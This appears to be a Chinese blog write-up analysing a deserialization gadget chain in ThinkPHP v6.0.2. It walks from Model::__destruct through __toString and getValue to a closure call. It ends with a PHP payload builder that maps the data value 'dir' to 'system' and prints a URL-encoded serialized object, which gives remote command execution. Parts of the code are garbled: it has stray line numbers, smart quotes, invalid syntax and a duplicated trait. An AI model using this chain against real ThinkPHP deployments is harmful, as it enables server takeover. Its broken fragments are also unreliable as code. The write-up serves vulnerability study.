Thinkphpv6.0.2反序列化链
首先我们把__destruct()作为开头,全局搜索__destruct(),发现在think\Model.php里的__destruct()可以使用
1 2 3 4 5 6
| public function __destruct() { if ($this->lazySave) { $this->save(); } }
|
这里我们需要$this->lazySave为true,然后看向save,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public function save(array $data = [], string $sequence = null): bool { // 数据对象赋值 $this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { return false; }
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) { return false; }
// 写入回调 $this->trigger('AfterWrite');
// 重新记录原始数据 $this->origin = $this->data; $this->set = []; $this->lazySave = false;
return true; }
|
我们需要到达
1
| $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
|
所以我们需要经过一个if,此时需要看向isEmpty()和trigger()
1 2 3 4
| public function isEmpty(): bool { return empty($this->data); }
|
1 2 3 4 5
| protected function trigger(string $event): bool { if (!$this->withEvent) { return true; }
|
所以如果我们需要绕过第一个if的话,需要$this->data为空,而$this->withEvent为false,然后我们绕过第一个if,此时我们看向updateData()和insertData()两个函数,发现updateData()函数有可利用点,所以此时我们需要$this->exists为true,然后我们看向updateData()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| protected function updateData(): bool { // 事件回调 if (false === $this->trigger('BeforeUpdate')) { return false; }
$this->checkData();
// 获取有更新的数据 $data = $this->getChangedData();
if (empty($data)) { // 关联更新 if (!empty($this->relationWrite)) { $this->autoRelationUpdate(); }
return true; }
if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) { // 自动写入更新时间 $data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime); $this->data[$this->updateTime] = $data[$this->updateTime]; }
// 检查允许字段 $allowFields = $this->checkAllowFields();
|
发现可利用点在checkAllowFields()函数,但是要到达这个函数,需要经过两个if,但是由于前面trigger()为true和$data不为空,所以可以直接到checkAllowFields()函数,我们看向checkAllowFields()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| protected function checkAllowFields(): array { // 检测字段 if (empty($this->field)) { if (!empty($this->schema)) { $this->field = array_keys(array_merge($this->schema, $this->jsonType)); } else { $query = $this->db(); $table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table); }
return $this->field; }
|
此时我们发现利用点在$this->db(),所以我们需要$this->filed为空且this->schema为空,但是题目就是这两个为空,所以不用管,所以我们看向$this->db()
1 2 3 4 5 6 7 8 9 10 11
| public function db($scope = []): Query { /** @var Query $query */ $query = self::$db->connect($this->connection) ->name($this->name . $this->suffix) ->pk($this->pk);
if (!empty($this->table)) { $query->table($this->table . $this->suffix); }
|
我们可以看到有字符串拼接,所以我们可以利用来触发toString(),此时我们可以构造$this->suffix为一个类,我们全局搜索__toString(),发现think\model\concern\Conversion.php里的__toString()可以利用
1 2 3 4
| public function __toString() { return $this->toJson(); }
|
然后看向toJson(),
1 2 3 4 5
| public function toJson(int $options = JSON_UNESCAPED_UNICODE): string { return json_encode($this->toArray(), $options); }
|
然后看向toArray(),
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| public function toArray(): array { $item = []; $hasVisible = false;
foreach ($this->visible as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { [$relation, $name] = explode('.', $val); $this->visible[$relation][] = $name; } else { $this->visible[$val] = true; $hasVisible = true; } unset($this->visible[$key]); } }
foreach ($this->hidden as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { [$relation, $name] = explode('.', $val); $this->hidden[$relation][] = $name; } else { $this->hidden[$val] = true; } unset($this->hidden[$key]); } }
// 合并关联数据 $data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // 关联模型对象 if (isset($this->visible[$key]) && is_array($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } // 关联模型对象 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); } }
// 追加属性(必须定义获取器) foreach ($this->append as $key => $name) { $this->appendAttrToArray($item, $key, $name); }
return $item; }
|
此时我们可以看向toArray()函数的这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // 关联模型对象 if (isset($this->visible[$key]) && is_array($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } // 关联模型对象 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); } }
|
此时我们可以利用这里
``
$item[$key] = $this->getAttr($key);
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation);
}
1
| 我们此时可以利用getValue()函数,而此时$name为$this->data[$key]中的$key,而$value为
|
$value = $this->getData($name);
public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
}
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($fieldName, $this->relation)) {
return $this->relation[$fieldName];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
1
| 这个函数会返回$this->data[$key],因此$value为$this->data[$key],然后看向getValue()函数
|
protected function getValue(string $name, $value, $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
}
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
$this->data=[‘b’=>’dir’];
$this->withAttr[‘b’=>’system’];
force=true;
$this->lazySave=true;
$this->exists=true;
$this->suffix=$c;
}
}
namespace think\model\concern;
trait ModelEvent
{
protected $withEvent=false;
}
trait Attribute
{
private $data=['b'=>'dir'];
private $withAttr=['b'=>'system'];
}
trait Conversion{
protected $visible = ['a' => 'b'];
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a=new Pivot();
$b=new Pivot($a);
echo urlencode(serialize($b));
?>
1 2
| 注意:由于Conversion使用trait,所以不可以实例化,所以要用继承这个类的类Model,但是Model是接口,所以也不可以实例化,所以我们需要找继承Model类的Pivot()类,但是由于Pivot类调用了两次,所以用这个方法解决
|
abstract class Model
{
use model\concern\ModelEvent;
use model\concern\Attribute;
use model\concern\ModelEvent;
private $lazySave;
private $force;
protected $suffix;
private $exists;
public function __construct($c=''){
$this->force=true;
$this->lazySave=true;
$this->exists=true;
$this->suffix=$c;
}
}
$a=new Pivot();
$b=new Pivot($a);
```
参考文章:[https://blog.csdn.net/qq_42181428/article/details/105777872]
[https://www.freesion.com/article/33321065865/]